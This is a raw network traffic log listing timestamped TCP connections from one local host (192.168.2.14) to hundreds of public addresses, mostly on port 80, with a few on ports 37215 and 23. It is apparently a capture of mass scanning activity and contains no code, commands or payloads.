Oct 14, 2024 17:30:14.219921112 CEST	80	53274	57.196.129.20	192.168.2.14
Oct 14, 2024 17:30:14.219924927 CEST	53274	80	192.168.2.14	72.46.219.184
Oct 14, 2024 17:30:14.219927073 CEST	80	53274	14.187.133.221	192.168.2.14
Oct 14, 2024 17:30:14.219928980 CEST	53274	80	192.168.2.14	119.98.28.232
Oct 14, 2024 17:30:14.219933033 CEST	80	53274	191.144.189.113	192.168.2.14
Oct 14, 2024 17:30:14.219939947 CEST	53274	80	192.168.2.14	94.187.12.2
Oct 14, 2024 17:30:14.219940901 CEST	80	53274	96.132.180.167	192.168.2.14
Oct 14, 2024 17:30:14.219954967 CEST	80	53274	73.0.141.18	192.168.2.14
Oct 14, 2024 17:30:14.219960928 CEST	80	53274	43.203.6.45	192.168.2.14
Oct 14, 2024 17:30:14.219960928 CEST	53274	80	192.168.2.14	57.196.129.20
Oct 14, 2024 17:30:14.219965935 CEST	80	53274	1.36.235.216	192.168.2.14
Oct 14, 2024 17:30:14.219968081 CEST	53274	80	192.168.2.14	14.187.133.221
Oct 14, 2024 17:30:14.219971895 CEST	80	53274	145.83.5.61	192.168.2.14
Oct 14, 2024 17:30:14.219979048 CEST	80	53274	65.63.49.169	192.168.2.14
Oct 14, 2024 17:30:14.219980955 CEST	53274	80	192.168.2.14	191.144.189.113
Oct 14, 2024 17:30:14.219986916 CEST	53274	80	192.168.2.14	96.132.180.167
Oct 14, 2024 17:30:14.219990969 CEST	37215	53786	156.253.79.115	192.168.2.14
Oct 14, 2024 17:30:14.219995975 CEST	53274	80	192.168.2.14	73.0.141.18
Oct 14, 2024 17:30:14.219996929 CEST	53274	80	192.168.2.14	145.83.5.61
Oct 14, 2024 17:30:14.219997883 CEST	37215	53786	156.166.148.79	192.168.2.14
Oct 14, 2024 17:30:14.219996929 CEST	53274	80	192.168.2.14	1.36.235.216
Oct 14, 2024 17:30:14.220002890 CEST	53274	80	192.168.2.14	43.203.6.45
Oct 14, 2024 17:30:14.220011950 CEST	80	37098	62.176.2.9	192.168.2.14
Oct 14, 2024 17:30:14.220017910 CEST	23	12058	179.57.177.211	192.168.2.14
Oct 14, 2024 17:30:14.220037937 CEST	53786	37215	192.168.2.14	156.253.79.115
Oct 14, 2024 17:30:14.220038891 CEST	53786	37215	192.168.2.14	156.166.148.79
Oct 14, 2024 17:30:14.220045090 CEST	53274	80	192.168.2.14	65.63.49.169
Oct 14, 2024 17:30:14.220052958 CEST	37098	80	192.168.2.14	62.176.2.9
Oct 14, 2024 17:30:14.220124006 CEST	53274	80	192.168.2.14	144.126.212.192
Oct 14, 2024 17:30:14.220124960 CEST	12058	23	192.168.2.14	179.57.177.211
Oct 14, 2024 17:30:14.220125914 CEST	53274	80	192.168.2.14	193.175.163.210
Oct 14, 2024 17:30:14.220134974 CEST	53274	80	192.168.2.14	85.226.66.251
Oct 14, 2024 17:30:14.220135927 CEST	53274	80	192.168.2.14	128.159.116.3
Oct 14, 2024 17:30:14.220134974 CEST	53274	80	192.168.2.14	54.4.91.47
Oct 14, 2024 17:30:14.220134974 CEST	53274	80	192.168.2.14	173.156.218.62
Oct 14, 2024 17:30:14.220153093 CEST	53274	80	192.168.2.14	155.88.247.4
Oct 14, 2024 17:30:14.220155001 CEST	53274	80	192.168.2.14	140.226.234.176
Oct 14, 2024 17:30:14.220155001 CEST	53274	80	192.168.2.14	199.174.142.92
Oct 14, 2024 17:30:14.220156908 CEST	53274	80	192.168.2.14	208.88.254.216
Oct 14, 2024 17:30:14.220160961 CEST	53274	80	192.168.2.14	36.146.68.68
Oct 14, 2024 17:30:14.220161915 CEST	53274	80	192.168.2.14	84.112.120.151
Oct 14, 2024 17:30:14.220165968 CEST	53274	80	192.168.2.14	40.127.107.190
Oct 14, 2024 17:30:14.220165968 CEST	53274	80	192.168.2.14	98.202.235.68
Oct 14, 2024 17:30:14.220165968 CEST	53274	80	192.168.2.14	208.52.168.85
Oct 14, 2024 17:30:14.220175982 CEST	53274	80	192.168.2.14	86.234.55.246
Oct 14, 2024 17:30:14.220176935 CEST	53274	80	192.168.2.14	60.101.27.239
Oct 14, 2024 17:30:14.220185995 CEST	53274	80	192.168.2.14	59.200.251.230
Oct 14, 2024 17:30:14.220186949 CEST	53274	80	192.168.2.14	31.209.245.244
Oct 14, 2024 17:30:14.220185995 CEST	53274	80	192.168.2.14	166.177.227.239
Oct 14, 2024 17:30:14.220186949 CEST	53274	80	192.168.2.14	69.70.116.30
Oct 14, 2024 17:30:14.220202923 CEST	53274	80	192.168.2.14	69.71.62.111
Oct 14, 2024 17:30:14.220202923 CEST	53274	80	192.168.2.14	210.12.192.106
Oct 14, 2024 17:30:14.220204115 CEST	53274	80	192.168.2.14	153.198.51.111
Oct 14, 2024 17:30:14.220211029 CEST	53274	80	192.168.2.14	117.124.14.241
Oct 14, 2024 17:30:14.220211029 CEST	53274	80	192.168.2.14	183.12.103.38
Oct 14, 2024 17:30:14.220212936 CEST	53274	80	192.168.2.14	65.84.148.249
Oct 14, 2024 17:30:14.220217943 CEST	53274	80	192.168.2.14	24.201.34.57
Oct 14, 2024 17:30:14.220217943 CEST	53274	80	192.168.2.14	141.83.200.251
Oct 14, 2024 17:30:14.220217943 CEST	53274	80	192.168.2.14	136.205.17.148
Oct 14, 2024 17:30:14.220217943 CEST	53274	80	192.168.2.14	42.210.212.33
Oct 14, 2024 17:30:14.220217943 CEST	53274	80	192.168.2.14	197.149.126.46
Oct 14, 2024 17:30:14.220217943 CEST	53274	80	192.168.2.14	68.199.97.43
Oct 14, 2024 17:30:14.220228910 CEST	53274	80	192.168.2.14	75.151.77.235
Oct 14, 2024 17:30:14.220231056 CEST	53274	80	192.168.2.14	192.157.250.78
Oct 14, 2024 17:30:14.220233917 CEST	53274	80	192.168.2.14	83.140.47.25
Oct 14, 2024 17:30:14.220240116 CEST	53274	80	192.168.2.14	62.127.57.140
Oct 14, 2024 17:30:14.220240116 CEST	53274	80	192.168.2.14	72.195.250.23
Oct 14, 2024 17:30:14.220241070 CEST	53274	80	192.168.2.14	194.23.165.122
Oct 14, 2024 17:30:14.220241070 CEST	53274	80	192.168.2.14	167.215.172.247
Oct 14, 2024 17:30:14.220241070 CEST	53274	80	192.168.2.14	24.236.248.186
Oct 14, 2024 17:30:14.220241070 CEST	53274	80	192.168.2.14	45.3.129.147
Oct 14, 2024 17:30:14.220249891 CEST	53274	80	192.168.2.14	177.218.156.74
Oct 14, 2024 17:30:14.220249891 CEST	53274	80	192.168.2.14	158.86.63.110
Oct 14, 2024 17:30:14.220249891 CEST	53274	80	192.168.2.14	137.47.37.96
Oct 14, 2024 17:30:14.220261097 CEST	53274	80	192.168.2.14	17.243.197.24
Oct 14, 2024 17:30:14.220261097 CEST	53274	80	192.168.2.14	145.61.197.240
Oct 14, 2024 17:30:14.220263958 CEST	53274	80	192.168.2.14	196.246.162.248
Oct 14, 2024 17:30:14.220264912 CEST	53274	80	192.168.2.14	194.130.92.11
Oct 14, 2024 17:30:14.220263958 CEST	53274	80	192.168.2.14	160.34.122.249
Oct 14, 2024 17:30:14.220264912 CEST	53274	80	192.168.2.14	112.224.106.121
Oct 14, 2024 17:30:14.220264912 CEST	53274	80	192.168.2.14	1.222.62.58
Oct 14, 2024 17:30:14.220268011 CEST	53274	80	192.168.2.14	78.136.12.245
Oct 14, 2024 17:30:14.220268011 CEST	53274	80	192.168.2.14	88.108.207.21
Oct 14, 2024 17:30:14.220268011 CEST	53274	80	192.168.2.14	69.160.141.96
Oct 14, 2024 17:30:14.220269918 CEST	53274	80	192.168.2.14	100.160.115.103
Oct 14, 2024 17:30:14.220271111 CEST	53274	80	192.168.2.14	9.120.242.39
Oct 14, 2024 17:30:14.220309019 CEST	53274	80	192.168.2.14	78.50.226.138
Oct 14, 2024 17:30:14.220309019 CEST	53274	80	192.168.2.14	50.253.32.243
Oct 14, 2024 17:30:14.220309973 CEST	53274	80	192.168.2.14	150.106.196.97
Oct 14, 2024 17:30:14.220309019 CEST	53274	80	192.168.2.14	65.92.170.77
Oct 14, 2024 17:30:14.220310926 CEST	53274	80	192.168.2.14	92.106.47.60
Oct 14, 2024 17:30:14.220309019 CEST	53274	80	192.168.2.14	123.96.255.93
Oct 14, 2024 17:30:14.220310926 CEST	53274	80	192.168.2.14	23.234.200.56
Oct 14, 2024 17:30:14.220310926 CEST	53274	80	192.168.2.14	205.122.208.137
Oct 14, 2024 17:30:14.220313072 CEST	53274	80	192.168.2.14	40.214.51.170
Oct 14, 2024 17:30:14.220314026 CEST	53274	80	192.168.2.14	200.121.156.50
Oct 14, 2024 17:30:14.220314026 CEST	53274	80	192.168.2.14	69.32.30.96
Oct 14, 2024 17:30:14.220314026 CEST	53274	80	192.168.2.14	155.243.135.220
Oct 14, 2024 17:30:14.220315933 CEST	53274	80	192.168.2.14	169.149.26.202
Oct 14, 2024 17:30:14.220314026 CEST	53274	80	192.168.2.14	113.216.173.114
Oct 14, 2024 17:30:14.220315933 CEST	53274	80	192.168.2.14	150.53.22.242
Oct 14, 2024 17:30:14.220314026 CEST	53274	80	192.168.2.14	44.248.55.130
Oct 14, 2024 17:30:14.220314980 CEST	53274	80	192.168.2.14	113.154.114.193
Oct 14, 2024 17:30:14.220315933 CEST	53274	80	192.168.2.14	174.84.55.176
Oct 14, 2024 17:30:14.220314026 CEST	53274	80	192.168.2.14	52.225.230.198
Oct 14, 2024 17:30:14.220315933 CEST	53274	80	192.168.2.14	153.175.110.94
Oct 14, 2024 17:30:14.220314026 CEST	53274	80	192.168.2.14	39.247.75.25
Oct 14, 2024 17:30:14.220316887 CEST	53274	80	192.168.2.14	162.137.199.190
Oct 14, 2024 17:30:14.220316887 CEST	53274	80	192.168.2.14	169.113.236.218
Oct 14, 2024 17:30:14.220316887 CEST	53274	80	192.168.2.14	72.196.23.142
Oct 14, 2024 17:30:14.220316887 CEST	53274	80	192.168.2.14	54.138.208.87
Oct 14, 2024 17:30:14.220335007 CEST	53274	80	192.168.2.14	173.232.189.228
Oct 14, 2024 17:30:14.220335007 CEST	53274	80	192.168.2.14	198.179.91.162
Oct 14, 2024 17:30:14.220335007 CEST	53274	80	192.168.2.14	35.79.141.215
Oct 14, 2024 17:30:14.220335007 CEST	53274	80	192.168.2.14	210.88.208.64
Oct 14, 2024 17:30:14.220361948 CEST	53274	80	192.168.2.14	189.80.177.17
Oct 14, 2024 17:30:14.220362902 CEST	53274	80	192.168.2.14	209.55.89.228
Oct 14, 2024 17:30:14.220361948 CEST	53274	80	192.168.2.14	101.248.212.240
Oct 14, 2024 17:30:14.220362902 CEST	53274	80	192.168.2.14	121.200.197.0
Oct 14, 2024 17:30:14.220361948 CEST	53274	80	192.168.2.14	68.208.180.32
Oct 14, 2024 17:30:14.220362902 CEST	53274	80	192.168.2.14	130.118.163.80
Oct 14, 2024 17:30:14.220362902 CEST	53274	80	192.168.2.14	88.79.225.236
Oct 14, 2024 17:30:14.220361948 CEST	53274	80	192.168.2.14	169.51.49.226
Oct 14, 2024 17:30:14.220370054 CEST	53274	80	192.168.2.14	118.142.189.58
Oct 14, 2024 17:30:14.220362902 CEST	53274	80	192.168.2.14	202.4.193.229
Oct 14, 2024 17:30:14.220361948 CEST	53274	80	192.168.2.14	180.123.4.242
Oct 14, 2024 17:30:14.220362902 CEST	53274	80	192.168.2.14	197.243.206.226
Oct 14, 2024 17:30:14.220370054 CEST	53274	80	192.168.2.14	139.253.163.254
Oct 14, 2024 17:30:14.220370054 CEST	53274	80	192.168.2.14	181.222.18.199
Oct 14, 2024 17:30:14.220376968 CEST	53274	80	192.168.2.14	181.226.123.127
Oct 14, 2024 17:30:14.220376968 CEST	53274	80	192.168.2.14	65.125.222.127
Oct 14, 2024 17:30:14.220377922 CEST	53274	80	192.168.2.14	213.158.29.208
Oct 14, 2024 17:30:14.220376968 CEST	53274	80	192.168.2.14	88.45.212.165
Oct 14, 2024 17:30:14.220377922 CEST	53274	80	192.168.2.14	98.22.226.167
Oct 14, 2024 17:30:14.220376968 CEST	53274	80	192.168.2.14	89.181.181.105
Oct 14, 2024 17:30:14.220377922 CEST	53274	80	192.168.2.14	179.75.250.68
Oct 14, 2024 17:30:14.220376968 CEST	53274	80	192.168.2.14	41.97.176.100
Oct 14, 2024 17:30:14.220377922 CEST	53274	80	192.168.2.14	162.103.183.107
Oct 14, 2024 17:30:14.220376968 CEST	53274	80	192.168.2.14	91.31.202.85
Oct 14, 2024 17:30:14.220376968 CEST	53274	80	192.168.2.14	142.204.221.130
Oct 14, 2024 17:30:14.220381975 CEST	53274	80	192.168.2.14	100.246.149.72
Oct 14, 2024 17:30:14.220381975 CEST	53274	80	192.168.2.14	223.92.235.200
Oct 14, 2024 17:30:14.220381975 CEST	53274	80	192.168.2.14	88.167.194.195
Oct 14, 2024 17:30:14.220381975 CEST	53274	80	192.168.2.14	162.62.31.113
Oct 14, 2024 17:30:14.220381975 CEST	53274	80	192.168.2.14	133.61.139.152
Oct 14, 2024 17:30:14.220381975 CEST	53274	80	192.168.2.14	147.29.88.216
Oct 14, 2024 17:30:14.220390081 CEST	53274	80	192.168.2.14	126.103.124.54
Oct 14, 2024 17:30:14.220390081 CEST	53274	80	192.168.2.14	144.195.28.97
Oct 14, 2024 17:30:14.220390081 CEST	53274	80	192.168.2.14	135.188.156.207
Oct 14, 2024 17:30:14.220390081 CEST	53274	80	192.168.2.14	84.119.157.37
Oct 14, 2024 17:30:14.220390081 CEST	53274	80	192.168.2.14	162.37.35.67
Oct 14, 2024 17:30:14.220410109 CEST	53274	80	192.168.2.14	132.215.38.65
Oct 14, 2024 17:30:14.220431089 CEST	53274	80	192.168.2.14	151.32.83.163
Oct 14, 2024 17:30:14.220429897 CEST	53274	80	192.168.2.14	39.152.46.26
Oct 14, 2024 17:30:14.220429897 CEST	53274	80	192.168.2.14	121.245.63.224
Oct 14, 2024 17:30:14.220432043 CEST	53274	80	192.168.2.14	188.148.64.29
Oct 14, 2024 17:30:14.220431089 CEST	53274	80	192.168.2.14	218.122.19.143
Oct 14, 2024 17:30:14.220431089 CEST	53274	80	192.168.2.14	50.74.14.65
Oct 14, 2024 17:30:14.220432043 CEST	53274	80	192.168.2.14	91.203.56.7
Oct 14, 2024 17:30:14.220431089 CEST	53274	80	192.168.2.14	88.45.2.120
Oct 14, 2024 17:30:14.220432043 CEST	53274	80	192.168.2.14	138.189.215.37
Oct 14, 2024 17:30:14.220432043 CEST	53274	80	192.168.2.14	139.81.25.82
Oct 14, 2024 17:30:14.220431089 CEST	53274	80	192.168.2.14	72.53.78.73
Oct 14, 2024 17:30:14.220432997 CEST	53274	80	192.168.2.14	182.174.69.242
Oct 14, 2024 17:30:14.220429897 CEST	53274	80	192.168.2.14	115.184.216.231
Oct 14, 2024 17:30:14.220431089 CEST	53274	80	192.168.2.14	122.172.98.190
Oct 14, 2024 17:30:14.220432043 CEST	53274	80	192.168.2.14	13.228.83.212
Oct 14, 2024 17:30:14.220431089 CEST	53274	80	192.168.2.14	151.24.83.123
Oct 14, 2024 17:30:14.220432043 CEST	53274	80	192.168.2.14	203.167.129.6
Oct 14, 2024 17:30:14.220431089 CEST	53274	80	192.168.2.14	19.189.246.99
Oct 14, 2024 17:30:14.220432043 CEST	53274	80	192.168.2.14	198.206.241.144
Oct 14, 2024 17:30:14.220432997 CEST	53274	80	192.168.2.14	107.82.202.204
Oct 14, 2024 17:30:14.220431089 CEST	53274	80	192.168.2.14	123.80.206.111
Oct 14, 2024 17:30:14.220431089 CEST	53274	80	192.168.2.14	189.3.221.233
Oct 14, 2024 17:30:14.220432043 CEST	53274	80	192.168.2.14	189.3.72.234
Oct 14, 2024 17:30:14.220431089 CEST	53274	80	192.168.2.14	192.194.211.106
Oct 14, 2024 17:30:14.220441103 CEST	53274	80	192.168.2.14	32.114.252.24
Oct 14, 2024 17:30:14.220433950 CEST	53274	80	192.168.2.14	78.13.84.40
Oct 14, 2024 17:30:14.220441103 CEST	53274	80	192.168.2.14	179.179.232.3
Oct 14, 2024 17:30:14.220431089 CEST	53274	80	192.168.2.14	217.163.202.45
Oct 14, 2024 17:30:14.220441103 CEST	53274	80	192.168.2.14	173.83.149.63
Oct 14, 2024 17:30:14.220432043 CEST	53274	80	192.168.2.14	204.119.137.235
Oct 14, 2024 17:30:14.220431089 CEST	53274	80	192.168.2.14	198.242.6.141
Oct 14, 2024 17:30:14.220433950 CEST	53274	80	192.168.2.14	158.232.180.212
Oct 14, 2024 17:30:14.220431089 CEST	53274	80	192.168.2.14	1.106.200.208
Oct 14, 2024 17:30:14.220431089 CEST	53274	80	192.168.2.14	172.10.189.34
Oct 14, 2024 17:30:14.220433950 CEST	53274	80	192.168.2.14	42.116.85.57
Oct 14, 2024 17:30:14.220442057 CEST	53274	80	192.168.2.14	168.153.68.40
Oct 14, 2024 17:30:14.220433950 CEST	53274	80	192.168.2.14	144.122.12.60
Oct 14, 2024 17:30:14.220431089 CEST	53274	80	192.168.2.14	128.214.237.66
Oct 14, 2024 17:30:14.220431089 CEST	53274	80	192.168.2.14	174.238.22.126
Oct 14, 2024 17:30:14.220433950 CEST	53274	80	192.168.2.14	76.201.206.215
Oct 14, 2024 17:30:14.220433950 CEST	53274	80	192.168.2.14	173.252.205.131
Oct 14, 2024 17:30:14.220479965 CEST	53274	80	192.168.2.14	146.51.28.38
Oct 14, 2024 17:30:14.220479965 CEST	53274	80	192.168.2.14	41.70.177.194
Oct 14, 2024 17:30:14.220480919 CEST	53274	80	192.168.2.14	20.68.1.55
Oct 14, 2024 17:30:14.220483065 CEST	53274	80	192.168.2.14	107.244.246.149
Oct 14, 2024 17:30:14.220482111 CEST	53274	80	192.168.2.14	47.227.152.152
Oct 14, 2024 17:30:14.220483065 CEST	53274	80	192.168.2.14	115.52.36.215
Oct 14, 2024 17:30:14.220483065 CEST	53274	80	192.168.2.14	53.53.58.7
Oct 14, 2024 17:30:14.220483065 CEST	53274	80	192.168.2.14	160.223.100.150
Oct 14, 2024 17:30:14.220483065 CEST	53274	80	192.168.2.14	217.76.153.178
Oct 14, 2024 17:30:14.220483065 CEST	53274	80	192.168.2.14	80.147.180.253
Oct 14, 2024 17:30:14.220483065 CEST	53274	80	192.168.2.14	123.60.93.198
Oct 14, 2024 17:30:14.220483065 CEST	53274	80	192.168.2.14	132.5.147.240
Oct 14, 2024 17:30:14.220483065 CEST	53274	80	192.168.2.14	212.92.87.72
Oct 14, 2024 17:30:14.220483065 CEST	53274	80	192.168.2.14	93.142.192.177
Oct 14, 2024 17:30:14.220509052 CEST	53274	80	192.168.2.14	84.244.190.181
Oct 14, 2024 17:30:14.220509052 CEST	53274	80	192.168.2.14	208.205.184.211
Oct 14, 2024 17:30:14.220509052 CEST	53274	80	192.168.2.14	60.43.178.66
Oct 14, 2024 17:30:14.220509052 CEST	53274	80	192.168.2.14	192.204.207.56
Oct 14, 2024 17:30:14.220509052 CEST	53274	80	192.168.2.14	84.200.184.5
Oct 14, 2024 17:30:14.220510006 CEST	53274	80	192.168.2.14	211.239.16.74
Oct 14, 2024 17:30:14.220511913 CEST	53274	80	192.168.2.14	62.81.184.205
Oct 14, 2024 17:30:14.220511913 CEST	53274	80	192.168.2.14	188.14.205.123
Oct 14, 2024 17:30:14.220511913 CEST	53274	80	192.168.2.14	97.209.242.221
Oct 14, 2024 17:30:14.220514059 CEST	53274	80	192.168.2.14	70.77.216.254
Oct 14, 2024 17:30:14.220515013 CEST	53274	80	192.168.2.14	206.125.81.117
Oct 14, 2024 17:30:14.220515966 CEST	53274	80	192.168.2.14	76.208.201.45
Oct 14, 2024 17:30:14.220515966 CEST	53274	80	192.168.2.14	166.76.184.232
Oct 14, 2024 17:30:14.220515013 CEST	53274	80	192.168.2.14	74.220.121.85
Oct 14, 2024 17:30:14.220515966 CEST	53274	80	192.168.2.14	148.63.8.60
Oct 14, 2024 17:30:14.220515013 CEST	53274	80	192.168.2.14	222.168.205.28
Oct 14, 2024 17:30:14.220515966 CEST	53274	80	192.168.2.14	93.225.246.171
Oct 14, 2024 17:30:14.220515966 CEST	53274	80	192.168.2.14	116.83.85.165
Oct 14, 2024 17:30:14.220516920 CEST	53274	80	192.168.2.14	36.237.206.42
Oct 14, 2024 17:30:14.220515966 CEST	53274	80	192.168.2.14	71.129.132.152
Oct 14, 2024 17:30:14.220515966 CEST	53274	80	192.168.2.14	122.119.76.65
Oct 14, 2024 17:30:14.220515966 CEST	53274	80	192.168.2.14	14.222.169.220
Oct 14, 2024 17:30:14.220515013 CEST	53274	80	192.168.2.14	210.68.171.74
Oct 14, 2024 17:30:14.220515966 CEST	53274	80	192.168.2.14	152.72.57.194
Oct 14, 2024 17:30:14.220515966 CEST	53274	80	192.168.2.14	117.102.40.242
Oct 14, 2024 17:30:14.220515966 CEST	53274	80	192.168.2.14	130.121.54.40
Oct 14, 2024 17:30:14.220515013 CEST	53274	80	192.168.2.14	142.110.65.24
Oct 14, 2024 17:30:14.220516920 CEST	53274	80	192.168.2.14	178.204.158.110
Oct 14, 2024 17:30:14.220515013 CEST	53274	80	192.168.2.14	166.179.10.179
Oct 14, 2024 17:30:14.220515966 CEST	53274	80	192.168.2.14	199.212.188.212
Oct 14, 2024 17:30:14.220516920 CEST	53274	80	192.168.2.14	180.166.91.59
Oct 14, 2024 17:30:14.220515013 CEST	53274	80	192.168.2.14	203.33.48.147
Oct 14, 2024 17:30:14.220515966 CEST	53274	80	192.168.2.14	134.119.217.82
Oct 14, 2024 17:30:14.220516920 CEST	53274	80	192.168.2.14	45.88.150.84
Oct 14, 2024 17:30:14.220513105 CEST	53274	80	192.168.2.14	121.147.239.46
Oct 14, 2024 17:30:14.220515013 CEST	53274	80	192.168.2.14	167.216.90.93
Oct 14, 2024 17:30:14.220515966 CEST	53274	80	192.168.2.14	68.40.57.87
Oct 14, 2024 17:30:14.220513105 CEST	53274	80	192.168.2.14	103.87.26.177
Oct 14, 2024 17:30:14.220516920 CEST	53274	80	192.168.2.14	167.135.125.223
Oct 14, 2024 17:30:14.220513105 CEST	53274	80	192.168.2.14	54.33.185.33
Oct 14, 2024 17:30:14.220516920 CEST	53274	80	192.168.2.14	130.75.86.118
Oct 14, 2024 17:30:14.220541954 CEST	53274	80	192.168.2.14	25.138.226.185
Oct 14, 2024 17:30:14.220516920 CEST	53274	80	192.168.2.14	197.24.133.237
Oct 14, 2024 17:30:14.220541954 CEST	53274	80	192.168.2.14	147.121.71.208
Oct 14, 2024 17:30:14.220516920 CEST	53274	80	192.168.2.14	70.56.145.254
Oct 14, 2024 17:30:14.220513105 CEST	53274	80	192.168.2.14	201.135.60.172
Oct 14, 2024 17:30:14.220513105 CEST	53274	80	192.168.2.14	117.34.168.117
Oct 14, 2024 17:30:14.220514059 CEST	53274	80	192.168.2.14	218.177.138.187
Oct 14, 2024 17:30:14.220557928 CEST	53274	80	192.168.2.14	104.200.180.241
Oct 14, 2024 17:30:14.220557928 CEST	53274	80	192.168.2.14	126.176.216.104
Oct 14, 2024 17:30:14.220557928 CEST	53274	80	192.168.2.14	145.234.36.141
Oct 14, 2024 17:30:14.220557928 CEST	53274	80	192.168.2.14	74.182.12.203
Oct 14, 2024 17:30:14.220557928 CEST	53274	80	192.168.2.14	70.168.28.17
Oct 14, 2024 17:30:14.220557928 CEST	53274	80	192.168.2.14	179.104.176.99
Oct 14, 2024 17:30:14.220557928 CEST	53274	80	192.168.2.14	67.49.71.71
Oct 14, 2024 17:30:14.220557928 CEST	53274	80	192.168.2.14	139.116.87.158
Oct 14, 2024 17:30:14.220571041 CEST	53274	80	192.168.2.14	86.88.102.179
Oct 14, 2024 17:30:14.220571041 CEST	53274	80	192.168.2.14	144.32.105.98
Oct 14, 2024 17:30:14.220571041 CEST	53274	80	192.168.2.14	91.144.248.117
Oct 14, 2024 17:30:14.220571995 CEST	53274	80	192.168.2.14	204.190.181.253
Oct 14, 2024 17:30:14.220571995 CEST	53274	80	192.168.2.14	160.132.89.128
Oct 14, 2024 17:30:14.220588923 CEST	53274	80	192.168.2.14	129.163.164.191
Oct 14, 2024 17:30:14.220588923 CEST	53274	80	192.168.2.14	216.44.204.27
Oct 14, 2024 17:30:14.220588923 CEST	53274	80	192.168.2.14	96.155.129.60
Oct 14, 2024 17:30:14.220590115 CEST	53274	80	192.168.2.14	193.103.206.81
Oct 14, 2024 17:30:14.220588923 CEST	53274	80	192.168.2.14	157.168.133.164
Oct 14, 2024 17:30:14.220590115 CEST	53274	80	192.168.2.14	201.56.253.61
Oct 14, 2024 17:30:14.220588923 CEST	53274	80	192.168.2.14	185.113.58.111
Oct 14, 2024 17:30:14.220591068 CEST	53274	80	192.168.2.14	44.126.234.201
Oct 14, 2024 17:30:14.220590115 CEST	53274	80	192.168.2.14	1.49.76.159
Oct 14, 2024 17:30:14.220592022 CEST	53274	80	192.168.2.14	39.235.69.42
Oct 14, 2024 17:30:14.220593929 CEST	53274	80	192.168.2.14	175.161.202.40
Oct 14, 2024 17:30:14.220591068 CEST	53274	80	192.168.2.14	19.69.29.90
Oct 14, 2024 17:30:14.220594883 CEST	53274	80	192.168.2.14	81.134.195.71
Oct 14, 2024 17:30:14.220590115 CEST	53274	80	192.168.2.14	87.205.77.45
Oct 14, 2024 17:30:14.220598936 CEST	53274	80	192.168.2.14	71.202.21.0
Oct 14, 2024 17:30:14.220593929 CEST	53274	80	192.168.2.14	76.100.187.148
Oct 14, 2024 17:30:14.220590115 CEST	53274	80	192.168.2.14	186.240.50.114
Oct 14, 2024 17:30:14.220593929 CEST	53274	80	192.168.2.14	203.206.14.70
Oct 14, 2024 17:30:14.220593929 CEST	53274	80	192.168.2.14	81.38.229.166
Oct 14, 2024 17:30:14.220592022 CEST	53274	80	192.168.2.14	71.160.122.119
Oct 14, 2024 17:30:14.220590115 CEST	53274	80	192.168.2.14	130.32.212.176
Oct 14, 2024 17:30:14.220592022 CEST	53274	80	192.168.2.14	169.29.246.175
Oct 14, 2024 17:30:14.220590115 CEST	53274	80	192.168.2.14	168.240.29.75
Oct 14, 2024 17:30:14.220592022 CEST	53274	80	192.168.2.14	93.39.240.56
Oct 14, 2024 17:30:14.220591068 CEST	53274	80	192.168.2.14	52.235.86.114
Oct 14, 2024 17:30:14.220590115 CEST	53274	80	192.168.2.14	180.200.114.30
Oct 14, 2024 17:30:14.220594883 CEST	53274	80	192.168.2.14	82.121.145.100
Oct 14, 2024 17:30:14.220591068 CEST	53274	80	192.168.2.14	14.57.159.232
Oct 14, 2024 17:30:14.220594883 CEST	53274	80	192.168.2.14	115.216.61.251
Oct 14, 2024 17:30:14.220598936 CEST	53274	80	192.168.2.14	59.204.192.209
Oct 14, 2024 17:30:14.220594883 CEST	53274	80	192.168.2.14	192.221.58.164
Oct 14, 2024 17:30:14.220591068 CEST	53274	80	192.168.2.14	50.101.200.76
Oct 14, 2024 17:30:14.220594883 CEST	53274	80	192.168.2.14	219.111.126.69
Oct 14, 2024 17:30:14.220594883 CEST	53274	80	192.168.2.14	190.111.236.38
Oct 14, 2024 17:30:14.220594883 CEST	53274	80	192.168.2.14	161.83.196.248
Oct 14, 2024 17:30:14.220594883 CEST	53274	80	192.168.2.14	50.4.172.221
Oct 14, 2024 17:30:14.220624924 CEST	53274	80	192.168.2.14	104.196.133.58
Oct 14, 2024 17:30:14.220598936 CEST	53274	80	192.168.2.14	12.97.227.101
Oct 14, 2024 17:30:14.220624924 CEST	53274	80	192.168.2.14	99.140.236.109
Oct 14, 2024 17:30:14.220628023 CEST	53274	80	192.168.2.14	134.241.221.175
Oct 14, 2024 17:30:14.220624924 CEST	53274	80	192.168.2.14	13.177.221.70
Oct 14, 2024 17:30:14.220630884 CEST	53274	80	192.168.2.14	148.201.7.176
Oct 14, 2024 17:30:14.220628023 CEST	53274	80	192.168.2.14	35.197.103.66
Oct 14, 2024 17:30:14.220632076 CEST	53274	80	192.168.2.14	208.103.122.59
Oct 14, 2024 17:30:14.220633984 CEST	53274	80	192.168.2.14	69.198.131.105
Oct 14, 2024 17:30:14.220624924 CEST	53274	80	192.168.2.14	196.38.22.184
Oct 14, 2024 17:30:14.220628977 CEST	53274	80	192.168.2.14	175.167.159.14
Oct 14, 2024 17:30:14.220630884 CEST	53274	80	192.168.2.14	98.123.38.37
Oct 14, 2024 17:30:14.220627069 CEST	53274	80	192.168.2.14	125.26.108.207
Oct 14, 2024 17:30:14.220633984 CEST	53274	80	192.168.2.14	183.140.186.40
Oct 14, 2024 17:30:14.220598936 CEST	53274	80	192.168.2.14	195.225.96.200
Oct 14, 2024 17:30:14.220628023 CEST	53274	80	192.168.2.14	71.6.196.208
Oct 14, 2024 17:30:14.220633984 CEST	53274	80	192.168.2.14	162.99.209.63
Oct 14, 2024 17:30:14.220629930 CEST	53274	80	192.168.2.14	162.46.94.208
Oct 14, 2024 17:30:14.220624924 CEST	53274	80	192.168.2.14	142.254.105.74
Oct 14, 2024 17:30:14.220630884 CEST	53274	80	192.168.2.14	110.157.90.135
Oct 14, 2024 17:30:14.220624924 CEST	53274	80	192.168.2.14	104.17.204.134
Oct 14, 2024 17:30:14.220630884 CEST	53274	80	192.168.2.14	140.29.68.202
Oct 14, 2024 17:30:14.220627069 CEST	53274	80	192.168.2.14	136.237.107.21
Oct 14, 2024 17:30:14.220629930 CEST	53274	80	192.168.2.14	221.21.177.9
Oct 14, 2024 17:30:14.220628023 CEST	53274	80	192.168.2.14	24.147.87.121
Oct 14, 2024 17:30:14.220627069 CEST	53274	80	192.168.2.14	138.225.22.173
Oct 14, 2024 17:30:14.220633984 CEST	53274	80	192.168.2.14	158.128.155.247
Oct 14, 2024 17:30:14.220652103 CEST	53274	80	192.168.2.14	20.240.59.1
Oct 14, 2024 17:30:14.220633984 CEST	53274	80	192.168.2.14	196.49.53.67
